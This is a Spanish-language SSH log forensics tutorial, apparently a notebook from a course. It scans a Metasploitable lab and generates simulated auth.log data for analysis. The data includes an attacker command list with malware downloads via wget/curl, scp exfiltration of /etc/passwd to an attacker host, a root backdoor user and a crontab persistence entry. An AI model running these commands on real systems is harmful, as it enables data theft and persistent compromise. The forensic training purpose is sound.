[x] Puerto 23 → Abierto | #'
[x] Puerto 25 → Abierto | 220 [Link] ESMTP Pos
[x] Puerto 53 → Silencioso
[x] Puerto 80 → Abierto | HTTP/1.1 200 OK
Date: Sun, 23 Nov 2025
[x] Puerto 110 → Silencioso
[x] Puerto 139 → Silencioso
[x] Puerto 443 → Silencioso
[x] Puerto 445 → Silencioso
[x] Puerto 3306 → Abierto | >
5.0.51a-3ubuntu5LDN=%?OO
[x] Puerto 8080 → Silencioso

292
[x] Puerto 3389 → Silencioso

Out[10]:

Pue
Estado Banner
rto

Silenc
0 21 None
ioso

Abiert
1 22 SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
o

Abiert
2 23 #'
o

Abiert
3 25 220 [Link] ESMTP Postfix (Ubuntu)
o

Silenc
4 53 None
ioso

HTTP/1.1 200 OK Date: Sun, 23 Nov 2025 07:00:04 GMT


Abiert Server: Apache/2.2.8 (Ubuntu) DAV/2 X-Powered-By:
5 80
o PHP/5.2.4-2ubuntu5.10 Connection: close Content-Type:
text/html

Silenc
6 110 None
ioso

293
Silenc
7 139 None
ioso

Silenc
8 443 None
ioso

Silenc
9 445 None
ioso

1 330 Abiert
> 5.0.51a-3ubuntu5LDN=%?OO,!TcvIIr#SZKFBad handshake
0 6 o

1 808 Silenc
None
1 0 ioso

1 338 Silenc
None
2 9 ioso

Ahora, imagina que estás en tu red de laboratorio, tu Metasploitable está prendido y tú, con tu notebook,
abres un canal de conversación manual. No usás navegador, ni curl, ni requests… usás la Fuerza (tu socket).

In [18]:
import socket

sock = [Link](socket.AF_INET, socket.SOCK_STREAM) # creas un canal TCP, la


base de toda comunicación web
[Link](("[Link]", 80)) # te conectas al puerto 80
del servidor (HTTP clásico)
[Link](b"GET / HTTP/1.1\r\nHost:[Link]\r\n\r\n") # mandas una solicitud
HTTP, escrita a mano
response = [Link](700) # esperas una respuesta
(hasta 700 bytes)
[Link]() # cierran el canal
print([Link]()) # decodificar lo que te
responde el servidor

HTTP/1.1 200 OK
Date: Sun, 23 Nov 2025 07:15:41 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Length: 891
Content-Type: text/html

<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>

294
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|

Warning

Otra prueba a internet:

In [14]:
import socket

sock = [Link](socket.AF_INET, socket.SOCK_STREAM)


[Link](("[Link]", 80))
[Link](b"GET / HTTP/1.1\r\nHost:[Link]\r\n\r\n")
response = [Link](330)
[Link]()
print([Link]())

HTTP/1.1 301 Moved Permanently


Date: Sat, 29 Nov 2025 21:01:42 GMT
Server: Apache/2.4.6 (CentOS)
Location: [Link]
Content-Length: 298
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">


<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanen

Episodio II - las sombras en los logs SSH


Cada vez que abro mi Jupyter y me pongo a revisar los logs, siento que estoy entrando a esa parte
silenciosa del día donde uno se queda solo con su café, escuchando cómo respira la máquina. Hay códigos,
números, IPs… pero detrás de eso hay historias. SSH es una de esas puertas que, aunque parece simple,
guarda secretos en cada línea que escribe cuando hay un ingreso.

SSH, en palabras simples


SSH es como ese pasillo tranquilo por donde entras a tu propio templo Jedi...no tiene luces de colores ni
música, pero es tu forma de conversar con tus servidores sin que nadie más meta la oreja. Por eso es un

295
canal seguro, es un oye, hablemos tú y yo, sin interrupciones y la comunicación viaja cifrada, protegida, casi
muy íntima entre tu y tu servidor.

Accediendo/var/log/[Link]
En algunos sistemas, especialmente los más antiguos o los que no utilizan systemd, los registros SSH se
guardan en la ruta /var/log/[Link]. Esto es común en versiones anteriores de Debian, Ubuntu y otras
distribuciones que utilizan SysVinit u otros sistemas de inicio.

Para ver los registros SSH en /var/log/[Link], puede utilizar comandos de visualización de archivos
de texto comunes como cat, less, o tail.

Interpretación de registros SSH


Los registros SSH contienen información detallada sobre las conexiones SSH a su servidor. Comprender
estos registros es fundamental para supervisar el acceso y mantener la seguridad.

296
Ejemplo:

Jul 12 08:23:45 server1 sshd[1234]: Accepted password for user1 from


[Link] port 22 ssh2

Más info:[Link]

Estructura General de un Registro en [Link]


Cada línea en [Link] suele seguir un formato estándar, que incluye la fecha, el hostname, el servicio o
proceso que generó el log, un ID del proceso, el usuario involucrado y un mensaje descriptivo.

<fecha> <hostname> <servicio>[<PID>]: <mensaje>

<fecha>: Indica el momento en que se generó el registro. La fecha incluye el mes, día y hora (en formato
MMM DD HH:MM:SS).texto en negrita

<hostname>: El nombre del host donde se ejecuta el servicio. En sistemas locales, puede aparecer como
localhost o el nombre del servidor.

<servicio>: Es el nombre del proceso o servicio que generó la entrada en el log, como sshd para el
servicio de SSH.

<PID>: Es el ID del proceso en ejecución entre corchetes []. Es útil para identificar eventos específicos en
instancias de servicios concurrentes.

<mensaje>: Es el mensaje de registro que describe el evento. Puede incluir información como la IP de
origen, el nombre de usuario, el tipo de acción (inicio de sesión exitoso o fallido), y otros detalles específicos
del evento.

Formato [Link]
Cada línea en [Link] suele seguir un formato estándar, que incluye la fecha, el hostname, el servicio o
proceso que generó el log, un ID del proceso, el usuario involucrado y un mensaje descriptivo.

<fecha> <hostname> <servicio>[<PID>]: <mensaje>

Nomenclatura de Eventos en [Link]

●​ Accepted: Conexiones aceptadas (éxito en autenticación).


●​ Failed: Intentos de autenticación fallidos.
●​ Invalid user: Intentos de conexión con usuarios inexistentes.

297
●​ Received disconnect: Mensaje de desconexión de un cliente SSH.
●​ pam_unix: Eventos relacionados con el sistema de autenticación PAM (incluye apertura o cierre de
sesiones).
●​ sudo: Eventos que registran el uso de sudo para ejecutar comandos con privilegios elevados.

Creación de Registros Logs para el Ejercicio.


Primero, vamos a incluir dos librerías, la primera random para generar aleatoriedad y la segunda datatime
para manejar fechas, esto es necesario para simular los logs.

In [20]:
import random
from datetime import datetime, timedelta

Creamos una lista de usuarios que normalmente acceden a el servicio:

In [21]:
users = ["seba", "juan", "maria", "lucho_jara", "kathy_barriga", "hermosilla",
"cuenta_servicio1", "cuenta_servicio2", "ivan", "javiera"]

Y ahora, una lista de IPs que acceden desde internet para administrar el servidor

In [22]:
ips = [
"[Link]", "[Link]", "[Link]", "[Link]", "[Link]",
"[Link]", "[Link]", "[Link]", "[Link]", "[Link]"
]

La idea de crear registros falsos..... con un par de accesos buenos y varios intentos fallidos... no es hacer
trampa, ni mucho menos. Es simular la vida real de un servidor SSH.... Porque un servidor sano siempre va a
tener:

●​ algunos accesos válidos de los usuarios legítimos


●​ montones de intentos fallidos de bots que recorren internet probando claves

Eso es completamente normal, SSH es como la puerta principal de una casa en un barrio movido, tú entras
con tu llave… pero afuera pasa gente probando la manilla todos los días. Ahora, si solo tuviera accesos
exitosos, no sería útil para ejercitar. Si solo tuviera fallidos, parecería que el servidor está bajo ataque
constante y no sería representativo....

En cambio, cuando mezclas:

●​ 2 accesos buenos (lo normal: tú o alguien autorizado)


●​ 10 accesos fallidos (lo normal: bots automáticos)

298
●​ Esto lo hacemos para crear un terreno de entrenamiento realista... Un dojo, un mini templo Jedi de
logs donde tu código pueda practicar.
In [23]:
logins = ["Accepted password", "Failed password"]
start_date = datetime(2024, 10, 1) # esta es la fecha de inicio del logs
end_date = datetime(2024, 10, 30) # esta es la fecha de término
total_entries = 200 # aqui ponemos el total de entradas para el mes
intet_fail =10 # los intentos fallidos
acum = 0 # acumulador para solo dejar 10 intentos fallidos, (tratar de hacerlo más
real)

Creamos una función para simular fechas aleatorias dentro de los logs

In [24]:
def random_date(start, end):
delta = end - start
random_days = [Link](0, [Link])
random_seconds = [Link](0, 86400)
return start + timedelta(days=random_days, seconds=random_seconds)

Creamos los logs en un ciclo definido por total_entries

In [26]:
log_entries = [] # esto es necesario para almacenar las entradas simuladas

for _ in range(total_entries):
timestamp = random_date(start_date, end_date).strftime("%b %d %H:%M:%S") # fecha
aleatoria entre los dos rangos de arriba
user = [Link](users) # elige usuarios aleatorios
ip = [Link](ips) # elige ips aleatorias
login_status = [Link](logins) # elije estados aleatorios exitosos o
fallidos

if login_status == "Accepted password":


entry = f"{timestamp} server sshd[12345]: {login_status} for {user} from {ip}
port {[Link](1000, 65535)} ssh2"
else:
if acum <= intet_fail:
entry = f"{timestamp} server sshd[12345]: {login_status} for {user} from {ip}
port {[Link](1000, 65535)} ssh2"
acum = acum +1
else:
entry = f"{timestamp} server sshd[12345]: Accepted password for {user} from
{ip} port {[Link](1000, 65535)} ssh2"

log_entries.append(entry) # todo queda guardado aquí

Guardamos los registros creados en un archivo llamado [Link]

In [27]:

299
with open("[Link]", "w") as log_file: # se define w para que si no existe el
archivo lo cree
for log in log_entries: # se recorre el arreglo
log_file.write(log + "\n") # se guarda con salto de línea al final

Intento de Fuerza Bruta sobre el servidor


Definimos los Primeros parámetros de Ataque

In [28]:
attackers_ips = ["[Link]", "[Link]", "[Link]"]
target_user = "cuenta_servicio2" # Usuario objetivo del ataque
attempts_per_attacker = 50 # Número de intentos por atacante
success_ip = attackers_ips[0] # Solo la primera IP tendrá un acceso exitoso

Ahora simularemos y le agregaremos un ataque de fuerza bruta intentando acceder a una cuenta de servicio
y dejaremos que el día sea el 1 de Nov.

In [29]:
attack_logs = [] # se crea un arreglo para guardar los ataques
attack_date = datetime(2024, 11, 1) # se crea la fecha del inicio del ataque

for ip in attackers_ips:
for attempt in range(attempts_per_attacker):
timestamp = (attack_date + timedelta(seconds=[Link](0,
86400))).strftime("%b %d %H:%M:%S")

# Definir acceso exitoso para una de las IPs en el último intento


if ip == success_ip and attempt == attempts_per_attacker - 1:
entry = f"{timestamp} server sshd[12345]: Accepted password for
{target_user} from {ip} port {[Link](1000, 65535)} ssh2"
else:
entry = f"{timestamp} server sshd[12345]: Failed password for {target_user}
from {ip} port {[Link](1000, 65535)} ssh2"

attack_logs.append(entry)

with open("[Link]", "a") as log_file: # se deja en modo -a- la apertura del archivo
para que no sobreescriba sobre los logs anteriores
for log in attack_logs:
log_file.write(log + "\n")

Agregando en Ataque dentro de los logs


Definimos el ataque y comandos ejecutados al obtener acceso del servidor:

In [30]:

300
attacker_ip = "[Link]"
attacker_user = "cuenta_servicio2"
attack_date = datetime(2024, 11, 3, 23, 50) # Inicio de la actividad de ataque 2 días
después del acceso inicial

Kill Chain del Atacante

In [31]:
commands = [
# reconocimiento del objetivo
"whoami",
"uname -a",
"ifconfig",
"netstat -tuln",
"cat /etc/passwd",
# descarga de herramientas
"wget [Link] -O /tmp/[Link]", # descarga herramientas
necesarias
"curl -o /tmp/[Link] [Link] #descarga un
malware
"tar -xzf /tmp/[Link] -C /tmp/", # lo descomprime y lo deja en el temporal
# intentos de elevar privilegios, esto solo es para poder simular, obviamente se
hace más que eso.
"sudo -l",
"sudo su",
"chmod +s /bin/bash", # intenta escalada de privilegio
# exfiltra información a un segundo objetivo
"scp /etc/passwd attacker@[Link]:/stolen-data/",
"tar -czvf /tmp/[Link] /var/www/html",
"scp /tmp/[Link] attacker@[Link]:/stolen-data/",
# deja una persistencia sobre el servidor
"echo 'malicious_user:x:0:0::/root:/bin/bash' >> /etc/passwd", # crear usuario
con root
"nohup /tmp/[Link] &", # deja el script ejecutándose en segundo plano
"echo '* * * * * root /tmp/[Link]' >> /etc/crontab" # su backdoor lo deja
persistente en el crontab
]

Guardamos los logs

In [32]:
activity_logs = []

for command in commands:


timestamp = (attack_date + timedelta(seconds=[Link](0, 300))).strftime("%b
%d %H:%M:%S")
entry = f"{timestamp} server sshd[12345]: {attacker_user}@{attacker_ip}: {command}"
activity_logs.append(entry)

301
# Guardar en el archivo [Link]
with open("[Link]", "a") as log_file:
for log in activity_logs:
log_file.write(log + "\n")

Volvemos a generar más logs para simular que pasaron unos dias despues del ingreso.

In [33]:
logins = ["Accepted password", "Failed password"]
start_date = datetime(2024, 11, 5) # dos días después vuelve a haber actividad en el
servidor
end_date = datetime(2024, 11, 28) # y termina el 28 de ese mes
total_entries = 150 # esta vez ingresaron 150 veces
intet_fail =7 # fallaron 7 para hacerlo cuanta que no se dieron cuenta
acum = 0

Creamos el Logs

In [34]:
log_entries = []

for _ in range(total_entries):
timestamp = random_date(start_date, end_date).strftime("%b %d %H:%M:%S")
user = [Link](users)
ip = [Link](ips)
login_status = [Link](logins)

if login_status == "Accepted password":


entry = f"{timestamp} server sshd[12345]: {login_status} for {user} from {ip}
port {[Link](1000, 65535)} ssh2"
else:
if acum <= intet_fail:
entry = f"{timestamp} server sshd[12345]: {login_status} for {user} from {ip}
port {[Link](1000, 65535)} ssh2"
acum = acum +1
else:
entry = f"{timestamp} server sshd[12345]: Accepted password for {user} from
{ip} port {[Link](1000, 65535)} ssh2"

log_entries.append(entry)

Y guardamos:

In [35]:
with open("[Link]", "a") as log_file:
for log in log_entries:
log_file.write(log + "\n")

302
Para que un analista pueda investigar, primero tiene que haber evidencia que investigar. No vamos a usar
logs reales, porque eso puede ser peligroso y poco ético.... así que vamos a crear nuestro propio caso,
completo, creíble y ordenado.

Será como montar una escena del crimen… para después resolverla.

Investigación Forense de Logs SSH

El principio de Intercambio o principio de Edmond Locard viene a decir que cuando existe interacción entre
dos elementos cualesquiera, siempre se produce un intercambio entre los mismos y se deja una huella del
intercambio producido.

En el contexto de la investigación forense digital, el principio de Locard se adapta a la idea de que cualquier
interacción con un sistema informático (legítima o malintencionada) deja rastros. Así, cada actividad de un
usuario, como el acceso a un sistema, el uso de comandos, la transferencia de archivos o la alteración de
permisos, queda registrada en algún lugar, usualmente en archivos de logs.

Foto de Edmond Locard considerado uno de los padres de la criminalística.

La "regla de oro" en investigaciones forenses es : Evitar llegar con ideas preconcebidas al sitio del
suceso, esta es una regla fundamental en la ciencia forense.

303
inspirada en los ideales de Locard, es no llegar al lugar del incidente con ideas preconcebidas. En una
investigación, se debe permitir que la evidencia revele los eventos en lugar de forzar una interpretación o
teoría desde el inicio.

¿Cómo dejar que la evidencia hable en los logs?

1.​ Recolectar y preservar los logs


2.​ Examinar los logs sin un sesgo inicial
3.​ Identificar patrones y correlaciones
4.​ Construir una narrativa
Antes de lanzarnos a decapitar malware con un sable de luz imaginario, hay algo que siempre le digo a mis
amigos cuando hablamos de investigar incidentes... Los servidores escriben diarios… solo que nadie los lee.
SSH, por ejemplo, deja pistas en cada respiración. Cada conexión, cada intento fallido, cada comando, va
quedando escrito como si el servidor estuviera contándole a alguien lo que vio durante el día. Y si tú te
sientas con un café a escuchar, aparecen historias geniales, usuarios que entraron, otros que lo intentaron y
de vez en cuando, un Sith encubierto probando contraseñas a las 3:00 AM.

SSH escribe casi todo en un archivo que en Linux vive como /var/log/[Link] o [Link], según la
distribución. Ahí está el cuento completo.

Parser de Logs
Para poder procesar el archivo generado anteriormente, necesitamos buscar una estrategia que automatice
la lectura de eventos, para posteriormente, construir la narrativa de lo extraído de la evidencia.

In [36]:
logs_text ="""
May 1 08:23:45 server1 sshd[1032]: Accepted password for alice from [Link] port
53222 ssh2
May 1 10:15:07 server1 sshd[2045]: Failed password for root from [Link] port
44123 ssh2
May 1 11:02:33 server1 sshd[3056]: Failed password for invalid user admin from
[Link] port 32234 ssh2
May 2 09:45:19 server1 sshd[4098]: Accepted password for bob from [Link] port
48766 ssh2
May 2 10:20:45 server1 sshd[5124]: Failed password for root from [Link] port
44123 ssh2
"""

Para procesar texto, usaremos búsqueda de patrones sobre el texto.

In [37]:
import re # librería necesaria para hacer búsqueda de textos por expresión regular
from datetime import datetime # librería para procesar líneas de tiempo

304
regex_patterns = {
"accepted_login": r"(?P<date>\w{3} \d{2} \d{2}:\d{2}:\d{2}) (?P<host>\S+)
sshd\[\d+\]: Accepted \w+ for (?P<user>\S+) from (?P<ip>[\d.]+) port \d+",
"failed_login": r"(?P<date>\w{3} \d{2} \d{2}:\d{2}:\d{2}) (?P<host>\S+)
sshd\[\d+\]: Failed \w+ for (?P<user>\S+) from (?P<ip>[\d.]+) port \d+",
"invalid_user": r"(?P<date>\w{3} \d{2} \d{2}:\d{2}:\d{2}) (?P<host>\S+)
sshd\[\d+\]: Invalid user (?P<user>\S+) from (?P<ip>[\d.]+)",
"disconnect": r"(?P<date>\w{3} \d{2} \d{2}:\d{2}:\d{2}) (?P<host>\S+) sshd\[\d+\]:
Received disconnect from (?P<ip>[\d.]+)",
"sudo_command": r"(?P<date>\w{3} \d{2} \d{2}:\d{2}:\d{2}) (?P<host>\S+)
sshd\[\d+\]: (?P<user>\S+)@(?P<ip>\d+\.\d+\.\d+\.\d+): (?P<command>.+)"
}

Creamos una función que nos retorne el texto procesado.

In [38]:
def parse_auth_log(log_file_path):
events = []
with open(log_file_path, 'r') as log_file:
for line in log_file:
for event_type, pattern in regex_patterns.items():
match = [Link](pattern, line)
if match:
# agregar el evento con detalles extraídos para poder procesar su
tipo
event_data = [Link]()
event_data["event_type"] = event_type
[Link](event_data)
break
return events

In [39]:
events = parse_auth_log("[Link]")
for event in events:
print(event)

{'date': 'Oct 17 06:47:11', 'host': 'server', 'user': 'lucho_jara', 'ip':


'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 29 15:34:38', 'host': 'server', 'user': 'lucho_jara', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 08 16:57:52', 'host': 'server', 'user': 'cuenta_servicio2', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 24 11:26:11', 'host': 'server', 'user': 'maria', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 24 08:49:26', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 13 23:39:48', 'host': 'server', 'user': 'cuenta_servicio2', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 12 07:45:46', 'host': 'server', 'user': 'javiera', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 30 05:56:21', 'host': 'server', 'user': 'seba', 'ip': '[Link]',
'event_type': 'accepted_login'}

305
{'date': 'Oct 25 01:28:14', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 20 15:17:44', 'host': 'server', 'user': 'maria', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 18 07:38:50', 'host': 'server', 'user': 'hermosilla', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 29 13:44:09', 'host': 'server', 'user': 'juan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 29 18:36:17', 'host': 'server', 'user': 'hermosilla', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 02 12:52:06', 'host': 'server', 'user': 'cuenta_servicio2', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 07 03:28:39', 'host': 'server', 'user': 'seba', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 04 19:58:32', 'host': 'server', 'user': 'lucho_jara', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 19 23:13:24', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 16 12:21:44', 'host': 'server', 'user': 'lucho_jara', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 04 14:34:22', 'host': 'server', 'user': 'maria', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 06 15:49:45', 'host': 'server', 'user': 'cuenta_servicio1', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 05 18:37:33', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 07 20:10:41', 'host': 'server', 'user': 'juan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 25 12:08:58', 'host': 'server', 'user': 'cuenta_servicio1', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 17 14:11:02', 'host': 'server', 'user': 'seba', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 27 15:08:21', 'host': 'server', 'user': 'juan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 28 20:41:49', 'host': 'server', 'user': 'kathy_barriga', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 02 06:13:08', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 07 18:23:15', 'host': 'server', 'user': 'seba', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 22 07:12:42', 'host': 'server', 'user': 'hermosilla', 'ip':
'[Link]', 'event_type': 'accepted_login'}
{'date': 'Oct 10 02:02:35', 'host': 'server', 'user': 'hermosilla', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 24 13:32:21', 'host': 'server', 'user': 'maria', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 20 18:34:13', 'host': 'server', 'user': 'ivan', 'ip': '[Link]',
'event_type': 'accepted_login'}
{'date': 'Oct 23 18:06:19', 'host': 'server', 'user': 'javiera', 'ip': '[Link]',
'event_type': 'accepted_login'}
...
...
...

306
...
..
.
.

In [40]:
import pandas as pd # usaremos formato dataframe

In [41]:
df = [Link](events) # lo convertimos

In [42]:
df # verificamos que todo está bien en el df

Out[42]:

comman
date host user ip event_type
d

Oct 17 serve [Link] accepted_logi


0 lucho_jara NaN
06:47:11 r 3 n

Oct 29 serve 198.51.100. accepted_logi


1 lucho_jara NaN
15:34:38 r 5 n

Oct 08 serve cuenta_servicio 198.51.100. accepted_logi


2 NaN
16:57:52 r 2 6 n

Oct 24 serve accepted_logi


3 maria [Link] NaN
11:26:11 r n

Oct 24 serve 198.51.100. accepted_logi


4 ivan NaN
08:49:26 r 6 n

... ... ... ... ... ... ...

51 Nov 20 serve 198.51.100. accepted_logi


javiera NaN
2 07:14:55 r 6 n

307
51 Nov 25 serve 198.51.100. accepted_logi
maria NaN
3 08:37:28 r 5 n

51 Nov 24 serve [Link] accepted_logi


juan NaN
4 02:13:28 r 2 n

51 Nov 15 serve 198.51.100. accepted_logi


javiera NaN
5 07:38:51 r 5 n

51 Nov 10 serve 198.51.100. accepted_logi


maria NaN
6 18:04:46 r 6 n

517 rows × 6 columns

In [43]:
ip_counts = [Link]('ip').size().reset_index(name='count') # contemos la
interacción de las ip y las agrupamos

In [44]:
ip_counts # vemos el resultado

Out[44]:

coun
ip
t

[Link]
0 67
8

[Link]
1 50
5

[Link]
2 50
8

3 [Link] 33

4 [Link] 35

308
5 [Link] 35

6 [Link] 50

7 [Link] 30

8 [Link] 34

9 [Link] 32

1
[Link] 34
0

1
[Link] 37
1

1
[Link] 30
2

In [45]:
# buscamos las ips únicas
for x in df['ip'].unique():
print(x)

[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]

graficamos la Ip en el Mapa

In [46]:
# verificar en la base de datos de abusedb si la ip esta en blacklist

309
import requests
def check_blacklist(ip):
api_key = 'TU_API_KEY' # Limite 1,000​ diarios
url = f"[Link]
headers = {
'Accept': 'application/json',
'Key': api_key
}

try:
response = [Link](url, headers=headers)
data = [Link]()
if data['data']['abuseConfidenceScore'] > 0:
return 0 # Si hay reporte de abuso, puntúa 0
else:
return 1
except:
return 0

# verificar de si la IP está en una lista negra (simplificada)


def check_ip_reported(ip):
blacklisted = check_blacklist(ip)
if blacklisted == 0:
return "BlackList" # Si está en lista negra
else:
return "Clear" # Si está en lista negra

for x in df['ip'].unique():
print(x + " - > " + check_ip_reported(x) )

[Link] - > Clear


[Link] - > Clear
[Link] - > Clear
[Link] - > Clear
[Link] - > Clear
[Link] - > Clear
[Link] - > Clear
[Link] - > Clear
[Link] - > Clear
[Link] - > Clear
[Link] - > BlackList
[Link] - > Clear
[Link] - > BlackList

Con la base de inteligencia de la galaxia (AbuseIPDB), comparó cada IP vista en los logs, algunas estaban
limpias. Pero otras… otras ya habían sido reportadas cientos de veces y justo esas eran las mismas que
intentaron entrar al servidor.

Ahora intentaremos graficar los lugares de las IPs

In [50]:
# instalamos nueva librería

310
!pip install basemap

Requirement already satisfied: basemap in c:\users\starh\anaconda3\lib\site-packages


(2.0.0)
Requirement already satisfied: basemap_data<3.0,>=2.0 in
c:\users\starh\anaconda3\lib\site-packages (from basemap) (2.0.0)
Requirement already satisfied: packaging<26.0,>=20.5 in
c:\users\starh\anaconda3\lib\site-packages (from basemap) (24.2)
Requirement already satisfied: numpy<2.4,>=2.0 in
c:\users\starh\anaconda3\lib\site-packages (from basemap) (2.1.3)
Requirement already satisfied: matplotlib<3.11,>=3.4 in
c:\users\starh\anaconda3\lib\site-packages (from basemap) (3.10.0)
Requirement already satisfied: pyproj<3.8,>=3.0 in
c:\users\starh\anaconda3\lib\site-packages (from basemap) (3.7.2)
Requirement already satisfied: pyshp<2.4,>=2.0 in
c:\users\starh\anaconda3\lib\site-packages (from basemap) (2.3.1)
Requirement already satisfied: contourpy>=1.0.1 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib<3.11,>=3.4->basemap)
(1.3.1)
Requirement already satisfied: cycler>=0.10 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib<3.11,>=3.4->basemap)
(0.11.0)
Requirement already satisfied: fonttools>=4.22.0 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib<3.11,>=3.4->basemap)
(4.55.3)
Requirement already satisfied: kiwisolver>=1.3.1 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib<3.11,>=3.4->basemap)
(1.4.8)
Requirement already satisfied: pillow>=8 in c:\users\starh\anaconda3\lib\site-packages
(from matplotlib<3.11,>=3.4->basemap) (11.1.0)
Requirement already satisfied: pyparsing>=2.3.1 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib<3.11,>=3.4->basemap)
(3.2.0)
Requirement already satisfied: python-dateutil>=2.7 in
c:\users\starh\anaconda3\lib\site-packages (from matplotlib<3.11,>=3.4->basemap)
(2.9.0.post0)
Requirement already satisfied: certifi in c:\users\starh\anaconda3\lib\site-packages
(from pyproj<3.8,>=3.0->basemap) (2025.10.5)
Requirement already satisfied: six>=1.5 in c:\users\starh\anaconda3\lib\site-packages
(from python-dateutil>=2.7->matplotlib<3.11,>=3.4->basemap) (1.17.0)

In [51]:
import socket
import requests
import [Link] as plt
from mpl_toolkits.basemap import Basemap

ip_address = "[Link]" # aqui la ip a investigar


response = [Link](f'[Link]
data = [Link]()
lat, lon = map(float, data['loc'].split(','))
print(f'Location: Latitude {lat}, Longitude {lon}')

311
# Graficar el mapa
[Link](figsize=(10, 6))

# Crear un mapa con Basemap


m = Basemap(projection='mill', llcrnrlat=-60, urcrnrlat=60,llcrnrlon=-180,
urcrnrlon=180, resolution='c')
[Link](fill_color='#000000') # Fondo negro
[Link](color='#1a1a1a', lake_color='#000000') # Color de continentes
[Link](color='#00ffff') # Color de las costas
[Link](color='#ff00ff') # Color de los países

# Marcar la ubicación de la IP en el mapa


x, y = m(lon, lat)
[Link](x, y, 'ro', markersize=10) # Marca la ubicación con un punto rojo
[Link](f'Map Location of IP: {ip_address}', fontsize=16, color='#00ffff')
[Link]().patch.set_facecolor('#000000') # Fondo negro para la figura
[Link]().set_facecolor('#000000') # Fondo negro para los ejes
[Link](color='#ff00ff', linestyle='--', linewidth=0.5) # Grilla rosada

[Link]('cyberpunk_map.png', bbox_inches='tight', transparent=True, dpi=300)


[Link]()

Location: Latitude 28.4112, Longitude 77.3132

Ahora , ordenamos las IPs por el número de accesos

In [53]:
import [Link] as plt
import seaborn as sns

# Ordena las IPs by accesos en orden descendente


ip_counts_sorted = ip_counts.sort_values(by='count', ascending=False)

# Config del tamaño de la figura


[Link](figsize=(12, 6))

312
# Gráfico de barras usando seaborn
[Link](data=ip_counts_sorted, x='ip', y='count', palette='viridis')

# Etiquetas y título
[Link]('IP Address')
[Link]('Count')
[Link]('Access Count per IP Address')
[Link](rotation=90) # Rotar etiquetas en el eje X para mejor visibilidad
[Link]()

C:\Users\starh\AppData\Local\Temp\ipykernel_23192\[Link]: FutureWarning:

Passing `palette` without assigning `hue` is deprecated and will be removed in v0.14.0.
Assign the `x` variable to `hue` and set `legend=False` for the same effect.

[Link](data=ip_counts_sorted, x='ip', y='count', palette='viridis')

Grafiquemos las interacciones SSH

In [54]:
import networkx as nx

# gráfico de red de conexiones SSH


G = nx.from_pandas_edgelist(df, source='ip', target='host')

[Link](figsize=(10, 10))
pos = nx.spring_layout(G, k=0.5, seed=42)
[Link](G, pos, with_labels=True, node_size=500, node_color="skyblue", font_size=8,
edge_color="gray")

313
[Link]("Network Graph of SSH Connections")
[Link]()

Otro gráfico con sus interacciones sobre el servidor SSH

In [55]:
import networkx as nx
G = [Link]()

connection_attempts = [Link](['ip', 'host',


'event_type']).size().reset_index(name='attempt_count')

for _, row in connection_attempts.iterrows():


source_ip = row['ip']
target_host = row['host']
connection_type = row['event_type']
attempts = row['attempt_count']

314
if source_ip and connection_type != 'Unknown':
G.add_node(source_ip, color='red' if connection_type == 'failed_login' else
'green')
G.add_node(target_host, color='blue') # El color del host puede ser azul, por
ejemplo
G.add_edge(source_ip, target_host, weight=attempts, color='red' if
